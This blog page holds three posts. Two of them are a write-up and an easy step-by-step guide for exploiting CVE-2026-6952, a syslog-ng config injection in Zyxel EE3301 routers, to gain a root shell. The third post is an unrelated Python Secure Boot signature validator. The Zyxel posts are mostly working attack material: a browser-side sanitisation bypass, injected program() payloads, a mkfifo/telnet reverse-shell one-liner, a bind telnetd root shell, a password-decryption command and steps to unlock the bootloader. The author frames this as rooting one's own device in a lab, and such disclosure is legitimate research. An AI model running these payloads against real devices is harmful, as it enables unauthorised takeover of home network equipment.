2026-09-16

Zyxel: How we got there

Preamble 

This is a follow up on the previous post where I documented how to practically exploit CVE-2026-6952 for affected Zyxel devices, and IMO, the more interesting part of all of it is how we got there in the first place.

As an Open Source zealot and user freedom/privacy advocate, I am actually using a non-Zyxel device running OpenWRT as my fibre modem (in part so that, my ISP, or, much worse, some attacker, the day they are inevitably hacked, will not be able to easily gain access to my home network though TR-069 or any of the other crap that ISPs are a bit too eager to slide into their provisioned modems). However, I very recently upgraded my fibre connection and, as a result, got sent a brand new Zyxel EE3301-00 router along with a WE3300-00 extender, by said ISP, which of course, I had to take a look at.

Now, though it can obviously not compete with OpenWRT, I found that the appliance was actually not as dreadful as I feared it would be, and I could actually almost see myself using it as designed by its manufacturer, provided it could also act as an NTP server (rather than an NTP client only -- OpenWRT provides that as an option by default, why neuter it?), offer DoH (DNS over HTTPS), have a more comprehensive way of blocking ads (rather than a very limited blocklist where you have to add each site you want to block individually - ugh!) and of course, the means to disable all the snooping/remote access protocols like TR-069 and ISP Web UI access from the WAN. And since I was also able to test the Mesh feature on that device, which I was originally quite sceptical about, I must say that the MPro Mesh does look quite convenient indeed. So, well done here, Zyxel...

However, this is still a super-locked device, and if you know me, you know that I sure don't like having any computing devices in my home (including "smart" TVs) for which I don't have full root access, because, well, I didn't go into FLOSS in order to take being arbitrarily restricted or deprived of my freedoms lightly... Which means that I am not planning to use this shiny new fibre modem any time soon, and will stick to a device that has vanilla OpenWRT support, thank you very much.

Still, if my OpenWRT router has an issue, or if my fibre line ever gets down, I might have some temporary need for that router. But, again, there's no way in hell I'm going to allow remote TR-069 or HTTPS access unless the ISP first asks for my permission, as should inherently always be the case, no matter how companies want to delude themselves (as Sony currently wants to do with game ownership) that physical equipment, that they might once have issued, but that now resides on a consumer's premises, grants them the right to do whatever they please whilst violating said consumer's rights to both ownership and privacy.

In short, the minute I saw on the Zyxel product page that the device featured prominent TR069/TR-269 management for the ISP (including regularly sending "insights" about your home network) was the minute I knew I had to gain full root access on that device to be able to disable it, if I ever was to actually use that modem for its designated purpose. Plus, I do have some hope that vanilla OpenWRT will be ported to it eventually (especially, as we discovered, that device is already running a locked down OpenWRT behind the scenes), so I might as well take a closer look on how to be granted full access, and publish our findings, to make that happen sooner.

Zeroing in on the exploit

Looking for ways to gain root access, we quickly found this blog post by Thomas Rinsma, that explained how, in 2020, it was actually possible on a whole slew of Zyxel devices. Alas, with credits to Zyxel for doing something about these, the vulnerabilities being exploited there have long been patched, so the methods described there were NO_GO.

Luckily, and very tantalizingly, since we were now on the hunt for other vulnerabilities that might be exploited in a similar vein, we came across the CVE-2026-6952 advisory from Zyxel themselves, where my model and firmware version were crucially listed as affected, that tersely described a:

post-authentication command injection vulnerability in the "LogServer" field of the syslog component

Obviously however, neither Zyxel nor any of the other sites reporting of the CVE are not going to give you the full details, or a PoC you can try, so that isn't much to start with.

There is however a world of difference between knowing that an exploitable vulnerability exists, and where it resides, and hoping that one might exist.

So, let's take a look at what we have. Well, there's really only one possible field that the vulnerability can refer to, and that has to be the SysLog Server field.

Okay, so let's try the "; TF=$(mktemp -u); mkfifo $TF && telnet 192.168.1.60 1337 0<$TF | bash 1>$TF ;# trick there...

Ouch! Zyxel seem to have learned their lesson and don't allow special characters. Not a good start...

However, we're not giving up that easily, and, after a bit of research, we find this post, that explains that the string sanitization is not being performed on the device itself, but by the JavaScript running on the browser, and therefore, said sanitization can be bypassed...

And sure enough, after a bit of crash course in how to use the JavaScript debugger in the browser (since I am not a security researcher and don't tend to deal with anything JS) we find that by adding a breakpoint in app.js to the SpecialCharactersCheckFunc after the s = this.$store.state.guiFlag.BlockChar line, and then using the debugger to set s = "", we are able to enter whatever we want in that field. Good.

However, the "close double quotes + semicolon + arbitrary command that runs as root" trick does not appear to work, which we can confirm by issuing a ping to a Raspberry Pi box plugged into the same isolated network (with IP address 192.168.1.60), where we tcpdump ICMP traffic, and which stays desperately silent.

Drats! The days of easy arbitrary command execution appear to be well over, and Zyxel is going to make us work for it...

Figuring out the syslog server

Okay, let's switch strategy here. How about we first get remote syslog going, so that we get the hang of how this whole syslogging thing works. Now, whereas we could also have installed a remote syslog client on the Pi (or used a simple netcat), I actually used another Windows laptop (residing at 192.168.1.192), plugged on the same isolated network, where I promptly installed Visual Syslog Server and validated that I could indeed get remote logging output from the Zyxel router.

So, since it is likely that we are playing with a syslog server conf file, if we can figure out what type of syslog server executable Zyxel use on their device, we might be able to figure how to format our LogServer string, to keep the underlying syslog server software happy whilst breaking out of its config jail to execute commands.

And this is actually the part where I wasted the most time, because, whereas the syslog server candidates were few (asserting that Zyxel did not create their own syslog server but picked or derived an existing UNIX/Linux implementation), the first thing I told to myself was "Seeing that syslog-ng is a full-fledged server application for regular, non-embedded Linux, there is no way Zyxel are going to go with that one, as they are bound to want to use a more lightweight option".

So, of course, it turns out that syslog-ng was the syslog software Zyxel used (on account that this is what OpenWRT uses), and I spent about a day on a wild goose chase, trying to break out of syslog server config syntaxes that did not apply. It is only after I eventually saw syslog-ng explicitly mentioned in the package list, for a different Zyxel gateway, that I considered probable that Zyxel was actually using syslog-ng.

From there, a quick look at the syntax of the syslog-ng.conf file tells us that the "override-and-discard" we are after should look something like:

<IP>" <some stuff> ); }; #
 

Okay, so, let's first confirm that we are indeed dealing with syslog-ng.conf by entering the following:

192.168.1.192" port(514)); }; #
 

Apply... and our remote syslog continues to receive messages from the Zyxel box. Looks like this confirms syslog-ng usage and our syntax rules. But what remains to be seen is if we can set arbitrary stuff. So let's try to change the port number on the Zyxel router with:

192.168.1.192" port(515)); }; #
 

And now, if we change the port to 515 on our client... YAY!!! We are getting the router's syslog message on the new port we set. So, we do indeed have our syntax, and we do have some form of control!

However, depending on how syslog-ng configures its remote sinks, there's still no guarantee that we'll be able to do more than change the port or whichever parameters syslog-ng grants you the ability to change in a config file...

"Greetings, Program"

Looking at the syslog-ng conf doc, there is however a command that looks very promising, and that seems to be usable when setting up a sink. And that is the program() command.

Okay, so how about we actually try to run some stuff:

192.168.1.192" port(514)); program("/bin/ping -c 1 192.168.1.60"); }; #
 

Amazing! tcpdump on the Pi suddenly comes alive and reports that we get loads of pings. Much more than we actually anticipated, as we thought we'd get a single ping whenever a new log message is issued, but instead we are seeing an unending continuous stream.

At this stage we could just pack and go home. Because, from there, we have uncovered the way to run arbitrary commands, and, even if we still have tons more work to do, this is practically GAME OVER, because we can run stuff, of our choosing, on the device. But we are already home, so we might as well continue.

And the ping-flood method also gives us a great way to validate the paths of the files we need, because:

192.168.1.192" port(514)); program("[ -f /etc/passwd ] && ping -c 1 192.168.1.60"); }; #
 
Returns loads of pings, as expected, but if we alter it to /etc/i-dont-exist, we don't get them. So we can indeed validate paths.

Let's play then:
192.168.1.192" port(514)); program("[ -f /usr/bin/nc ] && ping -c 1 192.168.1.60"); }; #
 
Yup, we have netcat. However:
192.168.1.192" port(514)); program("[ -f /usr/bin/telnet ] && ping -c 1 192.168.1.60"); }; #
 
and all the variations we can think of for the location of telnet return nothing. So a variation of the telnet command isn't going to work.

There is a /usr/bin/ssh though:

192.168.1.192" port(514)); program("[ -f /usr/bin/ssh ] && ping -c 1 192.168.1.60"); }; #
 

but (after we played with it for a while) it doesn't seem to support reverse connection. Okay, so let's circle back to using netcat to try to establish a connection.

Now, one of the small issues we have, as evidenced with the ping flood, is that the commands we set seem to be running continuously, so, if we are going to start running network connection instances, we don't to start an unlimited number of them, and bring the system to a crawl. So we need a way to run commands in a one-off way, which (after validating it through the ping command) we can simply do by having the shell command we issue first test if a file exists and if not, creating it before we run our command. In other words, we want to try:

192.168.1.192" port(514)); program("[ ! -f /tmp/02 ] && { touch /tmp/02; /usr/bin/nc 192.168.1.60 514; }"); }; #
 

Hmmm, okay, now, alongside the Windows one, we are also receiving the syslog data on our Pi with nc -lvnp 514 host. Not exactly what I wanted or expected, so we might have to drop netcat. Which brings us to...

192.168.1.192" port(514)); program("[ -f /usr/sbin/telnetd ] && ping -c 1 192.168.1.60"); }; #
 

Loads of pings... Now THAT is interesting!

The telnet route

A first attempt (where we also drop the pretence of trying to keep a working syslog server by just using 0.0.0.0 for the IP and no port) with:

0.0.0.0");program("[ ! -f /tmp/03 ] && { touch /tmp/03;/usr/sbin/telnetd -p 1337; }");};#
 

does give us a telnet server on port 1337... but we get the same treatment as the normal telnet and, since we don't have any other logon credentials, we only get the same ZySH> prompt, which is useless and which we would get on the default telnetd server that's already running on port 23.

Okay, so how about:

0.0.0.0");program("[ ! -f /tmp/04 ] && { touch /tmp/04;/usr/sbin/telnetd -l /bin/ash -p 1338; }");};#
 

NB: Obviously, we have to change the telnet port on each of these attempts, since the other instance will still be running.

Hmm, now we are getting:

root@pi4:~# telnet 192.168.1.1 1338
Trying 192.168.1.1...
Connected to 192.168.1.1.
Escape character is '^]'.

/bin/ash: can't open '192.168.1.60': No such file or directory
Connection closed by foreign host.

when we try to connect. Progress... but still no shell.

According to Claude, this is because we need to have an exec /bin/ash script to execute, that'll strip the first parameter that's passed to the shell. After a bit of searching and finding that we also have to fight against a 127 character limit for the field, we get to the 3-parter:

#1.

0.0.0.0");program("[ ! -f 192.168.1.60 ] && { echo '#!/bin/sh'>192.168.1.60;echo 'exec /bin/ash'>>192.168.1.60; }");};#
 
#2.
0.0.0.0");program("chmod +x 192.168.1.60");};#
 
#3.
0.0.0.0");program("[ ! -f /tmp/05 ] && { touch /tmp/05;/usr/sbin/telnetd -l /bin/ash -p 1339; }");};#
 

Obviously, we don't really care that the chmod command will be executed continuously, especially as it'll stop once we get to command #3.

And with this, we are able to claim the flag:

root@pi4:~# telnet 192.168.1.1 1339
Trying 192.168.1.1...
Connected to 192.168.1.1.
Escape character is '^]'.



BusyBox v1.33.1 () built-in shell (ash)
root@EE3301-00:/tmp#

After that, it was just a matter of refining/simplifying the commands, as well as figuring out what could be dropped, in order to provide an easy one-liner, which I am sure could be improved upon, but which is sufficiently easy enough for folks to handle in the manner which we published.

As to how we figured out the root/supervisor/bootloader password decryption, that doesn't require physical serial access, it was good old Ghidra analysis of the zloader code (since, and I really cannot stress this enough in the age of AI, even if AI companies are currently doing their darnedest to delay the inevitable, if you leave someone with one of your binary executables, then you SHOULD consider that you also have granted them full access to the source that was used to generate said executable because your binary is just your source, translated into another language).

Final words 

To conclude this discussion on how the vulnerability was effectively exploited, please be very mindful that this should not be construed as a way to shame Zyxel, which I believe did a rather fine job, security-wise, in their modern devices, and who only got stung by good old "the more complex a system, the more likely it is for vulnerabilities to be uncovered", and, as a software developer who also got stung many time at this game, I am well placed to understand that there's just no way you can fully secure everything. Also, for every public vulnerability that gets reported against Zyxel hardware, you can be quite certain that there's most likely about 10 non-yet-disclosed/non-yet-discovered vulnerabilities that do exist in whatever equivalent non-Zyxel hardware you might currently be using. So if you think that you are safe(r), just because you are not using Zyxel hardware, boy do I have news for you!

And that actually brings me to the main point for the disclosure, which is that, if I, a security amateur, was able to figure this out, then you can bet that malicious actors have been able to figure the same thing, and I see it better to disclose the manner in which a device can be exploited publicly, so that nobody gets the impression that, because details of a vulnerability are not yet known, you should be considered safe from its exploitation.

It should also be pointed out that, the only way to exploit the vulnerability is to have local physical access to the device, so it's not like a random remote attacker will suddenly be able to take control of your network device, just because these details have been made public.

But of course, the most important point, from a FLOSS advocate's perspective, is that you should be able to have full control of the software that runs on a device that is as important as your internet point of access, including the ability to replace its OS altogether with OpenWRT for instance (which I am hoping these posts will eventually help with), which is of course very difficult to accomplish if a manufacturer locks the bootloader and restricts root access. Therefore, you will want to know how to bypass these things one way or another...

2026-09-04

Gaining root access on Zyxel EE3301 and other vulnerable Zyxel devices

The BIG DISCLAIMER

  1. These steps worked on the devices I have, which are an EE3301-00 router running firmware V5.63(ACMU.2)C0. and a WE3300-00 extension point running firmware V5.70(ACKA.0)C0.
    While I strongly suspect that what's described below will work for all the devices/firmwares flagged as affected in the relevant Zyxel advisory, I make NO GUARANTEE that this will be the case.

  2. If you are not careful, you can easily brick your device by executing root commands. Therefore, should you choose to follow these steps, you explicitly assume ALL the risks, including potential loss of data, or the manufacturer/ISP being unwilling to service your device, or your hardware becoming irreversibly damaged. In other words, no matter of how much you may want to believe otherwise, these steps SHOULD be construed as an explicit and very deliberate breach, by you, of your device's warranty. Should you choose to proceed, you therefore tacitly agree that any servicing and/or replacement cost, subsequent to attempting to root your device, is 100% with you.

  3. I do not take any credit for finding or even figuring out how to exploit this vulnerability. The vulnerability was discovered by William Honnér, who responsibly disclosed it to Zyxel, which in turn led to the CVE-2026-6952 advisory that I used as my starting point. I had no contact whatsoever with William Honnér, be it direct or indirect, with regards to how one could practically exploit this vulnerability, which he obviously managed to perform long before I did. So, whereas all the credit for the discovery of the vulnerability should go to him, none of the blame for its actual public exploitation (which is pretty much unavoidable, once a security advisory has been published) should be directed at him.

The easy-to-execute "even my grandma could do it" steps

  1. Log in into the web console of your device and validate, from the System Info section, that, first, your Model Name is listed in the Affected model from this page, and that your Firmware version is lower than the Patch availability* version listed for the same model. If that is not the case, the exploit is unlikely to work.

  2. Click on the extended menu (The 3 horizontal bar symbol, in the top right), go to MaintenanceBackup/Restore and click the Backup button to save a backup, which you should name as Backup_Restore.json. Please make sure to add the .json extension, so that editing the text with a smart text editor that provides syntax highlighting will be easier.

  3. Now go to the directory where you saved the file, open it with a text editor of your choice, and search for the string "LogServer" (including the double quotes). There should only ONE such line in the whole file, most likely with the content "Logserver":"0.0.0.0", (but the part in quotes after "Logserver": doesn't really matter as we are going to replace it).

  4. Now replace the full Logserver line in the file with this line exactly:
    "LogServer":"0.0.0.0\");program(\"ip=192.168.1.100; [ ! -f $ip ] && { echo 'exec sh'>$ip; telnetd -l sh -p 1337; }\");};#",
     
  5. Then, in the content you just inserted, replace 192.168.1.100 above with the IP of the client machine from which you will issue telnet and save the file. On Windows, you can find your IP with ipconfig and on Linux with ip addr. Note that this is not the same as the IP of the Zyxel device (which would usually be 192.168.1.1) but the IP of your Windows, Linux or Mac machine. Unless you use the right IP, the telnet session will terminate prematurely.

  6. In the console, still in the MaintenanceBackup/Restore interface, go to Restore Configuration and click the Browse... button to select the file you just edited. Then click the Upload button and wait for the update to be applied. Your Zyxel device will reboot.

  7. Once the device has restarted fully, log back to the web console and Go to Maintenance Log Settings. Make sure Syslog Logging is set to enabled and set Mode to Remote, (NB: You may get a notice about Remote Syslog which you can ignore) then navigate to the bottom of the page and and click Apply.

  8. From a command prompt on the client machine, issue telnet 192.168.1.1 1337 (making sure to specify same telnet port as what was set for -p parameter above), and then, as you marvel at the beauty of your newly acquired BusyBox root shell, utter the obligatory "We're in...".

  9. If your device is in the list of the ones for which the KEY/IV have been extracted, as documented here, you probably also want to issue the following commands to retrieve the root/supervisor/bootloader password:
    KEY=<KEY FOR YOUR DEVICE>
    IV=<IV FOR YOUR DEVICE>
    fw_printenv | grep supervisor | cut -c 12- | openssl base64 -d | openssl enc -aes-256-cbc -nosalt -nopad -d -K $KEY -iv $IV
     


The (small) troubleshooting section

  • If you're on Windows and you get 'telnet' is not recognized as an internal or external command, you need to install it from the Turn Windows features on or off in the Program and Features of the Control Panel. Google it!

  • If you get Could not open connection to the host, on port 1337: Connect failed or Unable to connect to remote host: Connection refused it means that you either forgot to specify a port after the server IP address, or did not specify the same port as what is used for the -p parameter in the line you edited, or that you didn't enter the line properly (please pay attention to the double quotes, the backslashes and the comma at the end of the line. And do not enter a space between the = sign and your IP address), so just retry the steps and pay closer attention.

  • If you are seeing something like
    /bin/ash: can't open '192.168.1.100': No such file or directory
    after issuing the telnet command, it simply means that you didn't properly set the IP address you needed to set in the field you edited. So please edit the .json file again, make sure you set the right IP, then re-upload the file using restore configuration.

  • "I clicked the SysLog Server field after restoring the settings, and it pops a warning that says It is impossible to enter special characters."
    Well, did I tell you to do that...? Just close the browser and don't touch that field!

The suggested next steps

  1. Edit /tmp/var/home/root/zcfg_config.json and add your SSH public key to the SshKeyBaseAuthPublicKey field you should easily be able identify for the root account. This key will be persisted across reboot/poweroff (but not if you reset your device using the reset pin at the bottom). After reboot this grants you permanent root shell access through ssh and allows you to disable the telnet hack (for which you can just edit the LogServer field back to what it was using the web console.

  2. If you haven't retrieved the supervisor password above, issue passwd supervisor to override the supervisor account password. This will allow you to logon on as supervisor / <the password you set> in the web console, which will give you access to extra administration fields, such as the super intrusive TR-069 protocol that sends data and grants access to your device and home network to your ISP and that you can then disable. Note that this password will not be persisted across reboot/poweroff.

  3. (DANGEROUS) While logged as supervisor in the web console, in the backup/restore menu, you will also find a ROM-D section where you can store your current settings as the version that gets installed when you press the reset button. You may want to use that feature to permanently store your SSH public key for the root account so that, even if you go through a firmware update that patches the vulnerability as well as a platform reset, you will not lose root access. But I would strongly suggest to only save a configuration that altered the root public key, and the root public key only, while leave all the other fields as they were from defaults, just in case. This is because, you will of course be able to restore all your other settings post reset using the regular console backup/restore (including the supervisor settings, if you have root access), so there's really no need to drastically alter the default reset configuration which could have unintended effects.

The Scooby-doo villain 

With ssh sorted, since we get a nice motd greeting, we can have a look at who our Zyxel OS "villain" really is...

Well, well, well, it is none other than good old:

BusyBox v1.33.1 () built-in shell (ash)

  _______                     ________        __
 |       |.-----.-----.-----.|  |  |  |.----.|  |_
 |   -   ||  _  |  -__|     ||  |  |  ||   _||   _|
 |_______||   __|_____|__|__||________||__|  |____|
          |__| W I R E L E S S   F R E E D O M
 -----------------------------------------------------
 OpenWrt 21.02.1, r16325-88151b8303
 -----------------------------------------------------
root@EE3301-00:/tmp/var/home/root#

Hardware manufacturers using much better and freer Open Source projects as their base, and doing their darnedest to restrict/limit what they do? Who could have seen it coming?

The root/supervisor password retrieval (for advanced users)

If you weren't able to get the root/supervisor password the easy way and you are like me then, even with root shell access, you really don't like the idea of having a Linux device with a root password that you don't know, especially, if it's all that stands between being able to keep root access should you update your firmware to one where the vulnerability has been fixed. Or worse (as you will have seen if you fiddled with the easily available serial port from the device) the low level bootloader access is protected.
 
Thankfully, through the good work of hack-gpon.org, this can somewhat easily be remedied, provided that you have access to the 3.3V TTL serial adapter.
 
First of all, to access the serial port on the EE3301, you just need to remove the bottom of the device by unscrewing the 4 screws that are hidden behind the bottom pads:
 

From there, you will be able to access your friendly neighborhood spider po..., I mean, serial port, for which each pin or the whole socket can relatively easily be plugged/unplugged using a pair of small pliers without having to remove the other parts of the clamshell enclosure (which I did actually remove for the purpose of this picture):

Armed with that knowledge, and your trusty 3.3V serial adapter (where you may not even have to connect the 3.3V pin, as long as you do connect the other 3 pins), and using a serial line configured with the usual 115200 8N1 settings, you are soon able to access the whole boot sequence and interact with a Linux logon prompt... for which you do not know the root password.

Worse, if you try to interrupt the very inviting autoboot, you are also prompted for a password:

ZYXEL zloader v3.1.6 (07/23/2025 - 05:34:50)
!!! Initialize nand !!!
Multiboot clinent version: 2.8

Hit any key to stop autoboot:  5
Password:
         Password:
                  Password:
                           Password:

How rude!

Thankfully, with root access, the bootloader password issue can easily be remedied (by removing it entirely). To do just that, and logged as root, you should first issue the fw_printenv command and validate that you see a line that says:

EngDebugFlag=0x0

Then, only if you see that line, you should issue the command:

fw_setenv EngDebugFlag 0x1

From there, you can reboot and, in your serial console, you will find that you can now interrupt the zloader without being prompted by a password:

ZYXEL zloader v3.1.6 (07/23/2025 - 05:34:50)
!!! Initialize nand !!!
Multiboot clinent version: 2.8

Hit any key to stop autoboot:  5
ZHAL>

Now we're (actually) talking!

And it gets even better that that, as, in this prompt, you can issue the command atck which will give you the root/supervisor password you are after:

ZHAL> atck
supervisor password: 7DU(su]#-v
admin password     : 4rS8+$7]
WiFi PSK key       : 4I3g@oN(78

(NB: Obviously, these are not my actual device passwords, but passwords, of the type Zyxel uses, that I generated online for the purpose of this example).

Then, once you have saved your passwords, you can exit zloader and reboot the device with the command atsr.

Now, even if you reset the firmware to defaults (using the reset button) or upgrade it to a non vulnerable version (since there's no way Zyxel will update root/supervisor passwords that people rely on while fixing vulnerabilities), you will still have root access. And you will also have access to the supervisor account for the web console. Isn't it great?

The better way

"You know you can also get root without using save/restore and without having to reboot the device?"

Yes, I know. That's how I initially did it. And I am actually planning to document this in a subsequent post, titled "Zyxel: How we got there", which, IMO, will contain the more interesting part since it will detail the full trial and error process we went through for figuring out the exploit. However, adding JavaScript breakpoints and overriding JavaScript variables on the console is a bit more involved than editing a simple JSON text file, so that's why, whereas there does exist a more immediate way to get root, we chose simplicity over "l33t skillz".

2026-01-14

authval.py - A python script to validate Secure Boot signed auth variables

Since I had the displeasure of fighting broken/quirky/limited UEFI Firmware implementations, as part of Mosby, and had to double check whether a signed Secure Boot authvar should be accepted as valid.

Usage ./authval.py <var.auth> where var.auth should start with PK, KEK, DB or DBX according to the variable you are trying to check (so that we automatically fill GUID and attributes for the signed payload). Also note that APPEND is assumed for all variables, except PK.

#!/bin/env python3
# authval.pl - A Python script to validate Secure Boot signed auth variables
# Copyright 2026 Pete Batard <pete@akeo.ie> - GPL v3 or later

import re
import argparse
import struct
import uuid
from datetime import datetime, timezone

from cryptography import x509
from cryptography.hazmat.primitives import hashes
from cryptography.hazmat.primitives.asymmetric import padding
from asn1crypto import cms, x509 as asn1_x509

def guid_to_bytes(g):
    """Convert GUID string to EFI little-endian byte order"""
    u = uuid.UUID(g)
    return struct.pack("<IHH8s", u.time_low, u.time_mid, u.time_hi_version, u.bytes[8:])

def utf16le_no_null(s):
    return s.encode("utf-16le")

def parse_authentication_2(data):
    efi_time = data[:16]
    cert_hdr = data[16:16+24]

    length, revision, cert_type = struct.unpack("<IHH", cert_hdr[:8])
    cert_guid = uuid.UUID(bytes_le = cert_hdr[8:24])

    cert_data = data[16+24:16+length]
    payload_offset = 16 + length
    payload = data[payload_offset:]

    return efi_time, cert_data, payload

def build_signed_data(variable_name, vendor_guid, attributes, efi_time, variable_payload):
    buf = b""
    buf += utf16le_no_null(variable_name)
    buf += guid_to_bytes(vendor_guid)
    buf += struct.pack("<I", attributes)
    buf += efi_time
    buf += variable_payload
    return buf

def load_pkcs7_signed_data(pkcs7_der):
    try:
        ci = cms.ContentInfo.load(pkcs7_der)
        if ci['content_type'].native != 'signed_data':
            print(f"ERROR: PKCS#7 ContentType is set to '{ci['content_type'].native}'. UEFI specs requires 'signed_data'.")
            return None
        else:
            print("WARNING: PKCS#7 ContentType is set, but a longstanding EDK2 bug may lead some platforms to reject it!")
            print("For more on this, see https://github.com/tianocore/edk2/commit/37d3eb026a766b2405daae47e02094c2ec248646.")
        return ci['content']
    except Exception:
        # Bare content. *NOT* actually specs-compliant (at least for UEFI v2.3.1), but due to
        # an implementation bug in EDK2's VerifyTimeBasedPayload(), became de-facto standard,
        # especially as Microsoft, who did notice the bug, but never bothered to report it to
        # the EDK2, *like the good UEFI Secure Boot stewards they are*, dropped ContentType
        # from all the DBX updates they published...
        sd = cms.SignedData.load(pkcs7_der)
        # Wrap it to normalize handling
        ci = cms.ContentInfo({
            'content_type': 'signed_data',
            'content': sd
        })
        return ci['content']

def validate_uefi_variable(variable_blob, variable_name, vendor_guid, attributes):
    efi_time, pkcs7, variable_payload = parse_authentication_2(variable_blob)

    signed_data = build_signed_data(variable_name, vendor_guid, attributes, efi_time, variable_payload)

    try:
        signed_data_obj = load_pkcs7_signed_data(pkcs7)
        signer = signed_data_obj['signer_infos'][0]
    except Exception:
        return
    # Extract signer certificate from embedded certs
    certs = [
        cert.chosen for cert in signed_data_obj['certificates']
        if isinstance(cert.chosen, asn1_x509.Certificate)
    ]

    # Match signer by serial number
    serial = signer['sid'].native['serial_number']
    signer_cert = next(c for c in certs if c.serial_number == serial)

    # Load with cryptography
    cert = x509.load_der_x509_certificate(signer_cert.dump())
    pubkey = cert.public_key()

    digest_algo = signer['digest_algorithm']['algorithm'].native
    msg = "ERROR: Signature is INVALID!"
    if digest_algo == 'sha256':
        hash_alg = hashes.SHA256()
        signature = signer['signature'].native
        try:
            pubkey.verify(signature, signed_data, padding.PKCS1v15(), hash_alg)
            msg = "Signature is valid"
        except Exception:
            pass
    else:
        msg = f"Signature uses invalid algorithm: {digest_algo}"

    print("Signer cert subject:", cert.subject)
    print("Signer cert issuer :", cert.issuer)
    print("Signer serial num  :", cert.serial_number)
    print(msg)

if __name__ == "__main__":
    ap = argparse.ArgumentParser()
    ap.add_argument("file", help="signed authvar")
    args = vars(ap.parse_args())

    if re.search('PK', args['file'], re.IGNORECASE):
        var_guid = "8be4df61-93ca-11d2-aa0d-00e098032b8c"
        var_name = "PK"
        var_attr = 0x27 # NV_BS_RT_AT
    elif re.search('KEK', args['file'], re.IGNORECASE):
        var_guid = "8be4df61-93ca-11d2-aa0d-00e098032b8c"
        var_name = "KEK"
        var_attr = 0x67 # NV_BS_RT_AT_AP
    elif re.search('DBX', args['file'], re.IGNORECASE):
        var_guid = "d719b2cb-3d3a-4596-a3bc-dad00e67656f"
        var_name = "dbx"
        var_attr = 0x67 # NV_BS_RT_AT_AP
    elif re.search('DB', args['file'], re.IGNORECASE):
        var_guid = "d719b2cb-3d3a-4596-a3bc-dad00e67656f"
        var_name = "db"
        var_attr = 0x67 # NV_BS_RT_AT_AP
    else:
        print(f"'{args['file']}' is either missing a Secure Boot variable identifier (PK, KEK, DB, DBX)")
        print(f"in its name, or is not one of the Secure Boot variables we support for validation.")
        sys.exit(1)

    with open(args['file'], "rb") as f:
        variable_blob = f.read()

    print(f"Detected '{var_name}' - Using GUID: {var_guid} and ATTRS: {var_attr:#0x}")

    validate_uefi_variable(
        variable_blob=variable_blob,
        variable_name=var_name,
        vendor_guid=var_guid,
        attributes=var_attr
      )